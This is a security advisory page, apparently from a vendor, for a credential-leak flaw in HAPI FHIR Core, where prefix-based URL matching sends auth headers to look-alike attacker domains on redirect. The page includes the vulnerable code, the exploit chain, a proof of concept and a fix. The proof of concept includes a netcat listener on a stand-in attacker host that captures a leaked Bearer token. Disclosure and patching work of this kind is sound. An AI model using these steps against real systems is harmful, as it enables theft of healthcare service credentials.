Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Maven

GHSA-fgv2-4q4g-wc35

HIGH

GHSA-fgv2-4q4g-wc35 is a high-severity (CVSS 7.4) CWE-346 vulnerability in ca.uhn.hapi.fhir:org.hl7.fhir.core. O3 Security confirms whether GHSA-fgv2-4q4g-wc35 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

HAPI FHIR Core has Authentication Credential Leakage via Improper URL Prefix Matching on HTTP Redirect

Also known asCVE-2026-34359
Published
Mar 30, 2026
Updated
Mar 31, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed

Blast Radius

2 pkgs affected
ca.uhn.hapi.fhir:org.hl7.fhir.coreca.uhn.hapi.fhir:org.hl7.fhir.utilities

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

ManagedWebAccessUtils.getServer() uses String.startsWith() to match request URLs against configured server URLs for authentication credential dispatch. Because configured server URLs (e.g., http://tx.fhir.org) lack a trailing slash or host boundary check, an attacker-controlled domain like http://tx.fhir.org.attacker.com matches the prefix and receives Bearer tokens, Basic auth credentials, or API keys when the HTTP client follows a redirect to that domain.

Details

The root cause is in ManagedWebAccessUtils.getServer() at org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/http/ManagedWebAccessUtils.java:26:

public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
    if (serverAuthDetails != null) {
      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
          if (url.startsWith(serverDetails.getUrl())) {  // <-- no host boundary check
            return serverDetails;
          }
      }
    }
    return null;
}

The configured production terminology server URL is defined without a trailing slash in FhirSettingsPOJO.java:19:

protected static final String TX_SERVER_PROD = "http://tx.fhir.org";

This means:

  • "http://tx.fhir.org.attacker.com/capture".startsWith("http://tx.fhir.org")true
  • "http://tx.fhir.org:8080/evil".startsWith("http://tx.fhir.org")true

Exploit chain via SimpleHTTPClient (redirect path):

  1. SimpleHTTPClient.get() (SimpleHTTPClient.java:68-105) makes a request to http://tx.fhir.org/ValueSet/$expand
  2. On each redirect, the loop calls getHttpGetConnection(url, accept) (line 84) → setHeaders(connection) (line 117)
  3. setHeaders() (line 122-133) calls authProvider.canProvideHeaders(url) and authProvider.getHeaders(url) on the redirect target URL
  4. ServerDetailsPOJOHTTPAuthProvider.getServerDetails() (line 83-84) delegates to ManagedWebAccessUtils.getServer(url.toString(), servers)
  5. The startsWith() check matches http://tx.fhir.org.attacker.com against http://tx.fhir.org
  6. Credentials are dispatched to the attacker's server via ServerDetailsPOJOHTTPAuthProvider.getHeaders() (lines 38-58):
    • Bearer tokens: Authorization: Bearer {token}
    • Basic auth: Authorization: Basic {base64(user:pass)}
    • API keys: Api-Key: {apikey}
    • Custom headers from server config

Note: An earlier fix (commit 6b615880 "Strip headers on redirect") added an isNotSameHost() check, but this was removed in commit 3871cc69 ("Rework authorization providers in ManagedWebAccess"). The current code on master has no host validation during redirect following.

Exploit chain via ManagedFhirWebAccessor (OkHttp path):

ManagedFhirWebAccessor.httpCall() (line 81-112) sets auth headers via requestWithAuthorizationHeaders() before passing the request to OkHttpClient. OkHttpClient follows redirects by default (up to 20) and carries the pre-set auth headers to all redirect targets. The same startsWith() check in canProvideHeaders() applies.

The same vulnerable pattern also exists in ManagedWebAccess.isLocal() (line 214), where url.startsWith(server.getUrl()) is used to determine whether HTTP (non-TLS) access is allowed, potentially enabling TLS downgrade for attacker-controlled domains that match the prefix.

PoC

Step 1: Verify the prefix match behavior

// This demonstrates the core vulnerability
String configuredUrl = "http://tx.fhir.org";  // FhirSettingsPOJO.TX_SERVER_PROD
String attackerUrl = "http://tx.fhir.org.attacker.com/capture";

System.out.println(attackerUrl.startsWith(configuredUrl));
// Output: true

Step 2: Demonstrate credential dispatch to wrong host

Given a fhir-settings.json configuration at ~/.fhir/fhir-settings.json:

{
  "servers": [
    {
      "url": "http://tx.fhir.org",
      "authenticationType": "token",
      "token": "secret-bearer-token-12345"
    }
  ]
}

When SimpleHTTPClient.get("http://tx.fhir.org/ValueSet/$expand") follows a 302 redirect to http://tx.fhir.org.attacker.com/capture:

  1. setHeaders() is called with the redirect target URL
  2. authProvider.canProvideHeaders(new URL("http://tx.fhir.org.attacker.com/capture")) returns true
  3. authProvider.getHeaders(...) returns {"Authorization": "Bearer secret-bearer-token-12345"}
  4. The Authorization header with the secret token is sent to tx.fhir.org.attacker.com

Step 3: Attacker captures the credential

# On attacker-controlled server (tx.fhir.org.attacker.com)
nc -l -p 80 | head -20
# Output includes:
# GET /capture HTTP/1.1
# Host: tx.fhir.org.attacker.com
# Authorization: Bearer secret-bearer-token-12345

Impact

  • Credential theft: Bearer tokens, Basic authentication passwords, API keys, and custom authentication headers configured for FHIR terminology servers can be exfiltrated by an attacker who can inject a redirect (via MITM, compromised CDN, or DNS poisoning).
  • Impersonation: Stolen credentials allow an attacker to make authenticated requests to the legitimate FHIR server, potentially accessing or modifying clinical terminology data.
  • Broad exposure: The FHIR Validator is widely used in healthcare IT for validating FHIR resources. Any deployment that configures server authentication in fhir-settings.json and makes outbound HTTP requests to terminology servers is affected.
  • TLS downgrade: The same startsWith() pattern in ManagedWebAccess.isLocal() could allow an attacker-controlled domain to be treated as "local," bypassing the HTTPS enforcement.

Recommended Fix

Replace the startsWith() check in ManagedWebAccessUtils.getServer() with proper URL host boundary validation:

public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
    if (serverAuthDetails != null) {
      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
          if (urlMatchesServer(url, serverDetails.getUrl())) {
            return serverDetails;
          }
      }
    }
    return null;
}

/**
 * Check if a URL matches a configured server URL with proper host boundary validation.
 * After the configured prefix, the next character must be '/', '?', '#', ':', or end-of-string.
 */
private static boolean urlMatchesServer(String url, String serverUrl) {
    if (url == null || serverUrl == null) return false;
    if (!url.startsWith(serverUrl)) return false;
    if (url.length() == serverUrl.length()) return true;
    char nextChar = url.charAt(serverUrl.length());
    return nextChar == '/' || nextChar == '?' || nextChar == '#' || nextChar == ':';
}

Apply the same fix to ManagedWebAccess.isLocal() at line 214 and the three-argument getServer() overload at line 14.

Additionally, consider re-introducing the host-equality check for redirects in SimpleHTTPClient (as was previously implemented in commit 6b615880 but removed in 3871cc69) to provide defense-in-depth against credential leakage on cross-origin redirects.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
Mavenca.uhn.hapi.fhir:org.hl7.fhir.coreall versions6.9.4
Mavenca.uhn.hapi.fhir:org.hl7.fhir.utilitiesall versions6.9.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ca.uhn.hapi.fhir:org.hl7.fhir.core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update ca.uhn.hapi.fhir:org.hl7.fhir.core to 6.9.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fgv2-4q4g-wc35 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-fgv2-4q4g-wc35 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-fgv2-4q4g-wc35. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `ManagedWebAccessUtils.getServer()` uses `String.startsWith()` to match request URLs against configured server URLs for authentication credential dispatch. Because configured server URLs (e.g., `http://tx.fhir.org`) lack a trailing slash or host boundary check, an attacker-controlled domain like `http://tx.fhir.org.attacker.com` matches the prefix and receives Bearer tokens, Basic auth credentials, or API keys when the HTTP client follows a redirect to that domain. ## Details The root cause is in `ManagedWebAccessUtils.getServer()` at `org.hl7.fhir.utilities/src/main/java/org/hl7
O3 Security · Impact-Aware SCA

Is GHSA-fgv2-4q4g-wc35 in your dependencies?

O3 detects GHSA-fgv2-4q4g-wc35 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.